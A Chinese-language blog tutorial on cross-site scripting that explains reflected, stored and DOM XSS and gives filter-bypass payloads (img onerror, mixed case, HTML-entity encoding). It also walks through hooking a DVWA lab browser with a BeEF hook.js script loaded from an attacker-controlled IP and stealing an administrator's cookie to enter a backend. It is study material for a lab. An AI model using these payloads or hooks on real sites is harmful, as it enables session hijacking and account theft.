XSS学习

XSS

一、简介

曾经很有用的洞,目前很少有用武之地,首先在真实目标中,xss实际意义不大,挖掘困难大,存储型很少,就算打到cookie,由于防护的存在也没有用

XSS:Cross Site Script (跨站脚本攻击)

攻击原理:攻击者在web页面插入恶意html标签js代码,当用户对网页执行某些操作时,插入的代码将会被执行

**作用:**盗取cookie、xss蠕虫

  • OWASP TOP10之一,XSS被称为跨站脚本攻击(Cross-site-scripting)
  • 主要基于java script(JS)完成恶意攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象”空间特别大。
  • XSS通过将精心构造代码(JS)代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。
  • 微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS。

image-20220416004505159

二、xss攻击危害

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马让更多人的受害
7、控制受害者机器向其它网站发起攻击卖肉机

三、分类:

反射型xss:也称为非持久型、参数型跨站脚本。它是将攻击代码放在 URL 参数中,仅对当前的页面产生影响,而不是存储到服务器,因此需要诱使用户点击才能触发攻击。

**存储型xss:**存储型被称为持久型跨站脚本。攻击者将恶意代码存储到服务器上,只要诱使受害者访问被插入恶意代码的页面即可触发。存储型 XSS 经常出现在一些可以发表评论的地方,如帖子、博客。

**DOM型xss:**DOM 型 XSS是基于文档对象模型(Document Object Model DOM),用于将 Web 页面与脚本语言连接起来的标准编程接口)的一种漏洞,它不经过服务端,而是通过 URL 传入参数去触发,因此也属于反射型 XSS。也有可能是存储型的。

四、攻击流程

image-20220416005000519

image-20220416005035137

五、xss产生原因

Web应用对用户输入过滤不严谨
攻击者写入恶意的脚本代码到网页中
用户访问了含有恶意代码的网页
恶意脚本就会被浏览器解析执行并导致用户被攻击

六、构造xss攻击脚本

(一)基础知识
常用的html标签

<iframe>iframe标签会创建包含另外一个文档的内联框架
<textarea>textarea标签定义多行的文本输入控件
<img>img标签向网页中嵌入一幅图像
<script>script标签用于定义客户端脚本,比如JavaScript
script标签既可以包含脚本语句,也可以通过src属性指向外部脚本文件
必需的type属性规定脚本的类型。
JavaScript的常见应用是图像操作、表单验证以及动态内容更新。

常用的js脚本

alert   alert方法用于显示带有一条指定消息和一个确认按钮的警告框window.location   window.location对象用于获得当前页面的地址(URL)并把浏览器重定向到新的页面
location.href 返回当前显示的文档的完整URL 
onload        一张页面或一幅图像完成加载
onsubmit      一个按钮被点击
onerror       在加载文档或图像时发生错误

(二)构造脚本的方式

  • 弹窗警告

  • 图片标签利用

    • 图像标签,有一定的隐蔽性,当src为空或者#时,会执行onerror
      <img src="#" onerror=alert('欢迎来钓鱼')>
  • 绕开过滤的脚本

    • 大小写<Scrlpt>alert('xss')</SCRipt>
      字符编码字符编码采用URL、Base64、HTML等编码
      <img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#000011 5&#0000099&#0000114&#0000105&#0000112&#0000116&#0000 058&#0000097&#0000108&#0000101&#0000114&#0000116&#00 00040&#0000039&#0000088&#0000083&#0000083&#0000039&# 0000041">
  • 存储型xss基本演示

    • <script>alter('hack')</script>,每一个访问这个网页的人都会弹出这个对话框
    • image-20220416011133705
  • 访问恶意代码(网站种马)

    • 诱导用户访问恶意网站的攻击文件xss.js,比如获取用户cookie稍后会通过BeFF建立恶意站点。

七、自动XSS攻击

(一)BeEF简介
Browser Exploitation Framework(BeEF)

BeEF是目前强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透;BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单http://beefproject.com/

(二)BeEF功能

  • 信息收集
    • 网络发现
    • 主机信息
    • Cookie获取
    • 会话劫持
    • 键盘记录
    • 插件信息
  • 持久化控制
    • 确认弹框
    • 小窗口
    • 中间人
  • 社会工程
    • 点击劫持
    • 弹窗警告
    • 虚假页面
    • 钓鱼页面
  • 渗透攻击
    • 内网渗透
    • Metasploit
    • CSRF攻击
    • DDOS攻击

(三)利用BeFF自动XSS攻击

1、kali中启动BeFF

image-20220416011913692

2、登录BeEF:http://192.168.137.132:3000/ui/panel用户名beef密
码123456

3、在dvwa网站中植入xss
DVWA清空缓存,DVWA植入XSS

<script src="http://192.168.137.132:3000/hook.js"></script>

变成肉鸡,成功上线

image-20220416013129547

4、社工攻击范例

image-20220416013243708

命令的颜色区别
绿色对目标主机生效并且不可见(不会被发现)
获得肉机的正在运行的页面
橙色对目标主机生效但可能可见(可能被发现)
灰色对目标主机未必生效(可验证下)
红色对目标主机不生效

image-20220416013339962

八、利用

1、判断是否存在xss

一般xss利用地点存在于留言、反馈等地点

**反射型:**在url框里加上<script>alert('xss')</script>

image-20220331185836646

一般都会借助于短网址,实际上反射型也没有人会去用

image-20220331190445940

**存储型:**用alert弹一个框<script>alert('xss')</script>

image-20220331185535902

image-20220331185549154

2、利用存储型xss

在xss平台使用默认模块生成xss代码

image-20220331191544381

image-20220331191612792

模拟管理员查看留言

当管理员查看留言的那一刻就已经中招了

image-20220331192014265

在xss平台上我们可以看到得到了cookie信息

image-20220331205141724

使用工具或插件即可利用cookie成功进入后台

image-20220331223746936

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shadow丶S

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值